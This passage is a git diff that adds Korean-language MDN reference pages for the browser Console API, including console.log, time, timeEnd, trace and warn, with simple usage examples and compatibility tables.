+<p><code>console</code> 객체는 아무 전역 객체에서나 접근할 수 있습니다. 브라우징 문맥에선 {{domxref("Window")}}, 워커에서는 {{domxref("WorkerGlobalScope")}}이 속성으로 포함하고 있습니다. {{domxref("Window.console")}}의 형태로 노출되어 있으므로 간단하게 <code>console</code>로 참조할 수 있습니다.</p>
+
+<pre class="brush: js">console.log("링크를 열 수 없습니다")</pre>
+
+<p>이 문서는 콘솔 객체에서 사용할 수 있는 {{anch("메서드")}}와 몇 가지 {{anch("예제")}}를 다룹니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 실제 <code>console</code> 인터페이스는 역사적 이유로 인해 모두 소문자(즉 <code>Console</code>이 아니고 <code>console</code>)입니다.</p>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("console.assert()")}}</dt>
+ <dd>첫 번째 매개변수가 <code>false</code>인 경우 메시지와 {{anch("스택 추적")}}을 출력합니다.</dd>
+ <dt>{{domxref("console.clear()")}}</dt>
+ <dd>콘솔의 내용을 지웁니다.</dd>
+ <dt>{{domxref("console.count()")}}</dt>
+ <dd>주어진 레이블로 메서드를 호출한 횟수를 출력합니다.</dd>
+ <dt>{{domxref("console.countReset()")}}</dt>
+ <dd>주어진 라벨의 횟수를 초기화합니다.</dd>
+ <dt>{{domxref("console.debug()")}}</dt>
+ <dd><code>"debug"</code> 중요도로 메시지를 출력합니다.</dd>
+ <dt>{{domxref("console.dir()")}}</dt>
+ <dd>주어진 JavaScript 객체의 속성 목록을 상호작용 가능한 형태로 표시합니다. 속성 값이 다른 객체라면 펼쳐서 살펴볼 수 있습니다.</dd>
+ <dt>{{domxref("console.dirxml()")}}</dt>
+ <dd>
+ <p>객체를 XML/HTML 요소 형태로 나타낼 수 있으면 그렇게 표시하고, 아닐 경우 JavaScript 객체 형태로 표시합니다.</p>
+ </dd>
+ <dt>{{domxref("console.error()")}}</dt>
+ <dd>오류 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+ <dt>{{domxref("console.exception()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd><code>error()</code>의 별칭입니다.</dd>
+ <dt>{{domxref("console.group()")}}</dt>
+ <dd>새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그룹을 나오려면 <code>groupEnd()</code>를 호출하세요.</dd>
+ <dt>{{domxref("console.groupCollapsed()")}}</dt>
+ <dd>새로운 인라인 {{anch("그룹")}}을 생성해, 이후 모든 출력을 한 단계 들여씁니다. 그러나 <code>group()</code>과 달리, <code>groupCollapsed()</code>로 생성한 그룹은 처음에 접혀 있습니다. 그룹을 나오려면 groupEnd()를 호출하세요.</dd>
+ <dt>{{domxref("console.groupEnd()")}}</dt>
+ <dd>현재 인라인 {{anch("그룹")}}을 나옵니다.</dd>
+ <dt>{{domxref("console.info()")}}</dt>
+ <dd>정보 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+ <dt>{{domxref("console.log()")}}</dt>
+ <dd>일반 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+ <dt>{{domxref("console.profile()")}}</dt>
+ <dd>브라우저의 내장 프로파일러(<a href="/ko/docs/Tools/Performance">Firefox 성능 측정 도구</a> 등)를 실행합니다. 선택 사항으로 프로파일에 이름을 붙일 수 있습니다.</dd>
+ <dt>{{domxref("console.profileEnd()")}}</dt>
+ <dd>프로파일러를 멈춥니다. 프로파일 결과는 브라우저의 성능 측정 도구(<a href="/ko/docs/Tools/Performance">Firefox 성능 측정 도구</a> 등)에서 확인할 수 있습니다.</dd>
+ <dt>{{domxref("console.table()")}}</dt>
+ <dd>표 형태의 데이터를 표에 그립니다.</dd>
+ <dt>{{domxref("console.time()")}}</dt>
+ <dd>주어진 이름의 {{anch("타이머")}}를 실행합니다. 하나의 페이지에서는 최대 10,000개의 타이머를 동시에 실행할 수 있습니다.</dd>
+ <dt>{{domxref("console.timeEnd()")}}</dt>
+ <dd>지정한 {{anch("타이머")}}를 멈추고, 소요시간을 출력합니다.</dd>
+ <dt>{{domxref("console.timeStamp()")}} {{non-standard_inline}}</dt>
+ <dd>브라우저의 <a href="https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/timeline-tool">타임라인</a>이나 <a href="/ko/docs/Tools/Performance/Waterfall">워터폴</a>에 마커를 추가합니다.</dd>
+ <dt>{{domxref("console.trace()")}}</dt>
+ <dd>{{anch("스택 추적")}}을 출력합니다.</dd>
+ <dt>{{domxref("console.warn()")}}</dt>
+ <dd>경고 메시지를 출력합니다. 추가 매개변수와 함께 {{anch("문자열 치환")}}을 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Usage" name="Usage">예제</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">콘솔에 텍스트 출력하기</h3>
+
+<p>콘솔에서 가장 많이 사용하는 기능은 데이터와 텍스트를 출력하는 것입니다. 콘솔 메시지의 중요도는 네 가지로, 각각 {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, {{domxref("console.error()")}} 메서드를 사용해 출력할 수 있습니다. 중요도 별로 출력 스타일이 조금씩 다르며, 중요도 필터를 사용해 원하는 메시지만 골라 볼 수도 있습니다.</p>
+
+<p>각각의 출력 메서드는 두 가지 방법으로 사용할 수 있습니다. 첫 번째는 단순히 객체 목록을 제공하는 것으로, 각자의 문자열 표현이 하나로 합쳐져서 출력됩니다. 두 번째는 치환 문자열을 포함한 문자열 뒤에, 그 자리에 배치할 객체 목록을 제공하는 것입니다.</p>
+
+<h4 id="단일_객체_출력하기">단일 객체 출력하기</h4>
+
+<p>로그를 남기는 가장 간단한 방법은 하나의 객체를 출력하는 것입니다.</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>출력은 다음과 같습니다.</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="여러_객체_출력하기">여러 객체 출력하기</h4>
+
+<p>여러 객체를 출력하는 방법은 메서드를 호출할 때 모두 나열하면 됩니다.</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);</pre>
+
+<p>출력은 다음과 같습니다.</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger. The object is: ({str:"Some text", id:5})
+</pre>
+
+<h4 id="문자열_치환">문자열 치환</h4>
+
+<p><code>log()</code>처럼 문자열을 받는 콘솔 메서드에는 아래의 치환 문자열을 제공할 수 있습니다.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">치환 문자열</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>%o</code> 또는 <code>%O</code></td>
+   <td>JavaScript 객체를 출력합니다. 객체 이름을 클릭하면 검사기에 더 자세한 정보를 보여줍니다.</td>
+  </tr>
+  <tr>
+   <td><code>%d</code> 또는 <code>%i</code></td>
+   <td>정수를 출력합니다. 서식도 지원합니다. 예를 들어 <code>console.log("Foo %.2d", "1.1")</code>은 정수부를 0이 앞서는 두 자리로 표현하므로 <code>Foo 01</code>을 출력합니다.</td>
+  </tr>
+  <tr>
+   <td><code>%s</code></td>
+   <td>문자열을 출력합니다.</td>
+  </tr>
+  <tr>
+   <td><code>%f</code></td>
+   <td>부동소수점 수를 출력합니다. 서식도 지원합니다. 예를 들어 <code>console.log("Foo %.2f", "1.1")</code>은 소수부를 두 자리로 표현하므로 <code>Foo 1.10</code>을 출력합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: Chrome은 숫자 서식을 지원하지 않습니다.</p>
+</div>
+
+<p>각각의 치환 문자열은 이후 매개변수에서 값을 가져옵니다. 예를 들어...</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>위의 출력은 다음과 같습니다.</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="console_출력_꾸미기"><code>console</code> 출력 꾸미기</h4>
+
+<p><code>"%c"</code> 명령을 사용해 콘솔 출력에 CSS 스타일을 적용할 수 있습니다.</p>
+
+<pre class="brush: js">console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px");</pre>
+
+<div>명령 이전의 텍스트는 영향을 받지 않고, 이후의 텍스트는 매개변수로 제공한 CSS 선언을 적용합니다.</div>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/12527/CSS-styling.png" style="display: block; margin: 0 auto;"></div>
+
+<div></div>
+
+<p><code>%c</code> 구문과 함께 사용할 수 있는 CSS 속성은 다음과 같습니다. (Firefox 기준, 브라우저마다 다를 수 있음)</p>
+
+<ul>
+ <li>{{cssxref("background")}}와 그 본디 속성.</li>
+ <li>{{cssxref("border")}}와 그 본디 속성.</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("clear")}}, {{cssxref("float")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("font")}}와 그 본디 속성.</li>
+ <li>{{cssxref("line-height")}}</li>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("outline")}}과 그 본디 속성.</li>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("text-transform")}} 등 <code>text-*</code> 속성.</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-spacing")}}, {{cssxref("word-break")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 콘솔 메시지는 인라인 요소처럼 행동합니다. <code>padding</code>, <code>margin</code>등의 효과를 보려면 <code>display: inline-block</code> 등을 지정해야 합니다.</p>
+</div>
+
+<h3 id="콘솔_그룹_사용하기"><a id="그룹" name="그룹">콘솔 그룹 사용하기</a></h3>
+
+<p>중첩 그룹을 사용하면 서로 관련된 출력 결과를 시각적으로 묶어 정돈할 수 있습니다. 새로운 중첩 블록을 생성하려면 <code>console.group()</code>을 호출하세요. <code>console.groupCollapsed()</code> 메서드도 유사하지만, 대신 새로운 블록을 접힌 채로 생성하므로 내부를 보려면 열어야 합니다.</p>
+
+<p>현재 그룹에서 나가려면 <code>console.groupEnd()</code>를 호출하세요. 예를 들어...</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group("First group");
+console.log("In the first group");
+console.group("Second group");
+console.log("In the second group");
+console.warn("Still in the second group");
+console.groupEnd();
+console.log("Back to the first group");
+console.groupEnd();
+console.debug("Back to the outer level");</pre>
+
+<p>위의 출력은 다음과 같습니다.</p>
+
+<p><img alt="Demo of nested groups in Firefox console" src="https://mdn.mozillademos.org/files/16911/console_groups_demo.png" style="height: 169px; width: 236px;"></p>
+
+<h3 id="타이머">타이머</h3>
+
+<p>특정 작업의 소요시간을 측정할 땐 타이머를 사용할 수 있습니다. 타이머를 시작하려면 <code>console.time()</code> 메서드를 호출하세요. 유일한 매개변수로 타이머의 이름을 제공할 수 있습니다. 타이머를 멈추고, 시작한 후 지난 시간을 알아내려면 <code>console.timeEnd()</code> 메서드를 호출하세요. 역시, 유일한 매개변수로 이전에 사용한 타이머 이름을 제공하면 됩니다.</p>
+
+<p>예를 들어...</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");</pre>
+
+<p>위의 코드는 사용자가 경고 상자를 닫는데 걸린 시간을 기록한 후 출력하고, 두 번째 경고를 닫을 때까지 기다린 후, 총 걸린 시간을 출력합니다.</p>
+
+<p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p>
+
+<p>시작할 때와 끝낼 때 모두 타이머의 이름이 표시됨을 알 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> 타이머를 네트워크 트래픽 소요시간 측정에 사용하는 경우, 타이머는 총 소요시간을 보여주지만 네트워크 패널에 표시되는 시간은 헤더에 소모한 시간만 나타낸다는 것을 알아야 합니다. 응답 본문 로깅을 활성화한 경우, 응답 헤더와 본문의 시간을 합한 값이 타이머의 콘솔 출력과 비슷해야 합니다.</div>
+
+<h3 id="스택_추적">스택 추적</h3>
+
+<p>콘솔 객체는 스택 추적도 지원합니다. 스택 추적은 {{domxref("console.trace()")}}를 호출하게 된 경로를 보입니다. 예를 들어...</p>
+
+<pre class="brush: js">function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+</pre>
+
+<p>위 코드의 출력 결과는 다음과 같습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Tools" title="Tools">Firefox Developer Tools</a></li>
+ <li><a href="/ko/docs/Tools/Web_Console" title="Web Console">Web Console</a> — how the Web Console in Firefox handles console API calls</li>
+ <li><a href="/ko/docs/Tools/Remote_Debugging">Remote Debugging</a> — how to see console output when the debugging target is a mobile device</li>
+</ul>
+
+<h3 id="다른_구현체">다른 구현체</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/web/tools/chrome-devtools/console/api">Google Chrome DevTools</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide/console/console-api">Microsoft Edge DevTools</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari Web Inspector</a></li>
+</ul>
diff --git a/files/ko/web/api/console/log/index.html b/files/ko/web/api/console/log/index.html
new file mode 100644
index 0000000000..0b67dd2293
--- /dev/null
+++ b/files/ko/web/api/console/log/index.html
@@ -0,0 +1,94 @@
+---
+title: Console.log()
+slug: Web/API/Console/log
+tags:
+  - API
+  - console
+  - console.log()
+  - 메소드
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Web Console에 메시지를 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="매개_변수">매개 변수</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력할 자바스크립트 객체의 모음입니다. 각각의 자바스크립트 객체들의 문자열 표현은 순서가 있는 목록에 추가되며, 출력됩니다. </dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 치환 문자열(ex:%d, %s)들을 포함하는 자바스크립트 문자열입니다.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 내의 치환 문자열들을 치환할 자바스크립트 객체들입니다. 이것은 추가적인 출력 형식 제어권을 제공합니다.</dd>
+</dl>
+
+<p>자세한 내용은 {{domxref("console")}} 기록 문서에서 <a href="/en-US/docs/DOM/console#Outputting_text_to_the_console">Outputting text to the console</a>을 참조하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consolelogobject--object-", "console.log()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.log")}}</p>
+
+<h2 id="console.dir()_과의_차이">console.dir() 과의 차이</h2>
+
+<p>당신은 console.dir() 과 console.log() 가 무엇이 다른지 궁금할 수 있습니다.</p>
+
+<p>DOM 요소들을 콘솔로 보낼 때 Chrome에서 다른 유용한 차이점이 있습니다.</p>
+
+<p><img src="http://i.imgur.com/DozDcYR.png"></p>
+
+<p>안내:</p>
+
+<ul>
+ <li><code>console.log는 요소를 HTML과 같은 트리 구조로 출력합니다.</code></li>
+ <li><code>console.dir은 요소를 JSON과 같은 트리 구조로 출력합니다.</code></li>
+</ul>
+
+<p>구체적으로, console.log는 DOM 요소에 대해 특별한 처리를 제공하지만 console.dir은 그렇지 않습니다. 이것은 종종 DOM JS 객체의 전체 표현을 보려고 할 때 유용합니다.</p>
+
+<p>이것과 다른 함수들에 대한 더 많은 정보가  <a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a>에 있습니다.</p>
+
+<h2 id="객체_로깅하기">객체 로깅하기</h2>
+
+<p><code>console.log(obj);</code>를 사용하지 말고 <br>
+ <code>console.log(JSON.parse(JSON.stringify(obj)));</code>를 사용하시기 바랍니다.</p>
+
+<p>이 방법은 여러분이 로그를 남길 당시의 <code>obj</code> 값을 보려고 사용했을겁니다. 그러나 많은 브라우저가 값이 갱신 될때마다 끊임없이 바뀐 값을 보여줍니다. 이는 여러분이 원하는 방법이 아닐겁니다.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug supports additional features in its console.log() implementation, such as <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">styled logging</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li>
+</ul>
diff --git a/files/ko/web/api/console/time/index.html b/files/ko/web/api/console/time/index.html
new file mode 100644
index 0000000000..bcb3777ccb
--- /dev/null
+++ b/files/ko/web/api/console/time/index.html
@@ -0,0 +1,56 @@
+---
+title: Console.time()
+slug: Web/API/Console/time
+translation_of: Web/API/Console/time
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>타이머를 시작해 작업이 얼마나 걸리는지 추적할 수 있습니다. 각 타이머에게 고유한 이름을 줄 수 있고, 한 페이지에 최대 10,000개의 타이머를 설정할 수 있습니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출할 때, 브라우저가 밀리초 단위로 경과한 시간을 출력합니다.</p>
+
+<p>자세한 내용과 예제는 {{domxref("console")}} 내의 <a href="/ko/docs/Web/API/console#Timers">타이머</a>를 확인하세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.time(<em>label</em>);
+</pre>
+
+<h2 id="파라미터">파라미터</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>새 타이머에게 설정할 이름. 타이머를 식별합니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출하면 타이머가 중단되고 콘솔에 시간을 출력합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#time", "console.time()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.time")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Console.timeEnd()")}}</li>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/timeend/index.html b/files/ko/web/api/console/timeend/index.html
new file mode 100644
index 0000000000..d9bc7674e5
--- /dev/null
+++ b/files/ko/web/api/console/timeend/index.html
@@ -0,0 +1,68 @@
+---
+title: Console.timeEnd()
+slug: Web/API/Console/timeEnd
+tags:
+  - 디버깅
+  - 웹 개발
+  - 웹 콘솔
+  - 콘솔
+  - 타이머
+translation_of: Web/API/Console/timeEnd
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>이전에 {{domxref("console.time()")}}를 호출하여 시작된 타이머를 중지하고 <a href="/ko/docs/도구들/Web_Console">웹 콘솔</a>에 경과 시간을 밀리초 단위로 표시합니다.</div>
+
+<div> </div>
+
+<div>자세한 내용과 예제는 <strong>콘솔</strong> 문서의 <a href="/ko/docs/Web/API/console#Timers">Timers</a>를 참조하세요.</div>
+
+<div> </div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문(Syntax)">구문(Syntax)</h2>
+
+<pre class="syntaxbox">console.timeEnd(<em>label</em>);
+</pre>
+
+<h3 id="매개_변수(Parameters)">매개 변수(Parameters)</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>중지할 타이머의 이름입니다. console.time()를 호출할 때의 이름을 사용하여 해당 타이머를 중지할 수 있는 식별자 역할을 합니다.</dd>
+</dl>
+
+<h2 id="명세서(Specifications)">명세서(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timeend", "console.timeEnd()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성(Browser_compatibility)">브라우저 호환성(Browser compatibility)</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.timeEnd")}}</p>
+</div>
+
+<h2 id="함께_보기(See_also)">함께 보기(See also)</h2>
+
+<ul>
+ <li>{{domxref("console.time()")}}</li>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/trace/index.html b/files/ko/web/api/console/trace/index.html
new file mode 100644
index 0000000000..2726eca0d4
--- /dev/null
+++ b/files/ko/web/api/console/trace/index.html
@@ -0,0 +1,77 @@
+---
+title: console.trace()
+slug: Web/API/Console/trace
+tags:
+  - API
+  - DOM
+  - Firefox
+  - 디버깅
+  - 메소드
+  - 웹 개발
+  - 웹 콘솔
+  - 추적
+  - 콘솔
+  - 크롬
+translation_of: Web/API/Console/trace
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><a href="/en-US/docs/Tools/Web_Console">웹 콘솔</a>에 스택 추적을 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>자세한 내용과 예제는 {{domxref("console")}} 내의 <a href="/ko/docs/Web/API/console#Stack_traces">스택 추적</a>을 확인하세요.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.trace();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+</pre>
+
+<p>콘솔에 다음과 같은 추적이 표시됩니다.</p>
+
+<pre>bar
+foo
+&lt;anonymous&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#trace", "console.trace()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.trace")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ko/web/api/console/warn/index.html b/files/ko/web/api/console/warn/index.html
new file mode 100644
index 0000000000..b63bb925db
--- /dev/null
+++ b/files/ko/web/api/console/warn/index.html
@@ -0,0 +1,70 @@
+---
+title: Console.warn()
+slug: Web/API/Console/warn
+tags:
+  - API
+  - DOM
+  - 디버깅
+  - 메소드
+  - 웹 개발
+  - 웹 콘솔
+translation_of: Web/API/Console/warn
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>웹 콘솔에 경고 메시지를 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>{{Note("Firefox에서는 웹 콘솔의 경고 옆에 작은 느낌표 아이콘이 나타납니다.")}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">console.warn(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.warn(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="파라미터">파라미터</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 입력한 순서대로 함께 출력됩니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 안의 문자열을 대체하기 위한 JavaScript 객체. 출력의 형식을 추가로 제어할 수 있게해줍니다.</dd>
+</dl>
+
+<p>자세한 내용은 {{domxref("console")}} 문서 내 <a href="/ko/docs/Web/API/console#Outputting_text_to_the_console">콘솔에 텍스트를 출력하기</a>를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#warn", "console.warn()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.warn")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/ko/web/api/console_api/index.html b/files/ko/web/api/console_api/index.html
new file mode 100644
index 0000000000..54760b8f78
--- /dev/null
+++ b/files/ko/web/api/console_api/index.html
@@ -0,0 +1,76 @@
+---
+title: Console API
+slug: Web/API/Console_API
+tags:
+  - API
+  - Console API
+  - Overview
+  - console
+  - 로그
+  - 로깅
+  - 콘솔
+translation_of: Web/API/Console_API
+---
+<div>{{DefaultAPISidebar("Console API")}}</div>
+
+<p><span class="seoSummary"><strong>Console API</strong>는 코드의 특정 지점에서 값이나 변수를 기록하고, 작업의 소요 시간을 알아내는 등 개발자가 사용할 수 있는 디버깅 기능을 제공합니다.</span></p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>Console API는 사유 API로 시작하였으며, 브라우저가 각자 다른 구현을 했습니다. 이후 <a href="https://console.spec.whatwg.org/">Console API 명세</a>가 만들어져 일관적인 동작 방식을 정의하였으며, 결국 모든 최신 브라우저가 같은 동작을 따르게 되었습니다. 그러나 일부 구현체는 여전히 자신만의 사유 함수를 가지고 있습니다. 다음 링크에서 알아보세요.</p>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools implementation</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari DevTools implementation</a></li>
+</ul>
+
+<p>사용은 매우 간단합니다. {{domxref("Window.console")}}, 워커에서는 {{domxref("WorkerGlobalScope.console")}}, 아니면 그냥 <code>console</code>로 접근 가능한 {{domxref("console")}} 객체는 브라우저의 <a href="/ko/docs/Tools/Web_Console">웹 콘솔</a>에 값을 기록하는 등 기초적인 디버깅 작업에 사용할 수 있는 메서드를 제공합니다.</p>
+
+<p>가장 자주 쓰이는 메서드는 {{domxref("console.log()")}}이며, 변수의 값을 기록할 때 사용합니다.</p>
+
